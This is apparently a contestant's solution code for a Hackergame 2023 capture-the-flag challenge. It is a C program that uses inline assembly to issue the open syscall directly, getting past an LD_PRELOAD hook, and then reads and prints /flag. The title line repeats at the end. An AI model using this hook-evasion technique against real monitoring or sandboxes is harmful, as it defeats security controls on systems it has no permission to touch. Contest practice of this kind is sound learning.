Hackergame 2023 "为什么要打开 /flag 😡 LD_PRELOAD, love!" 解题代码

get_flag1.c

#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>

int main() {
    char path[] = "/flag";
    int fd;
    char buffer[256];
    ssize_t bytes_read;

    __asm__ (
        "mov $2, %%rax;"         // syscall number for open
        "mov %1, %%rdi;"         // first argument: pathname
        "xor %%rsi, %%rsi;"      // second argument: flags (O_RDONLY)
        "syscall;"
        "mov %%eax, %0;"         // store the result in fd
        : "=r"(fd)
        : "r"(path)
        : "%rax", "%rdi", "%rsi"
    );

    if (fd < 0) {
        perror("Failed to open /flag");
        return 1;
    }

    while ((bytes_read = read(fd, buffer, sizeof(buffer))) > 0) {
        write(STDOUT_FILENO, buffer, bytes_read);
    }

    if (bytes_read < 0) {
        perror("Failed to read from /flag");
    }

    close(fd);
    return 0;
}

Hackergame 2023 "为什么要打开 flag 😡 LD_PRELOAD, love!" 解题代码

Hackergame 2023 "为什么要打开 flag 😡 LD_PRELOAD, love!" 解题代码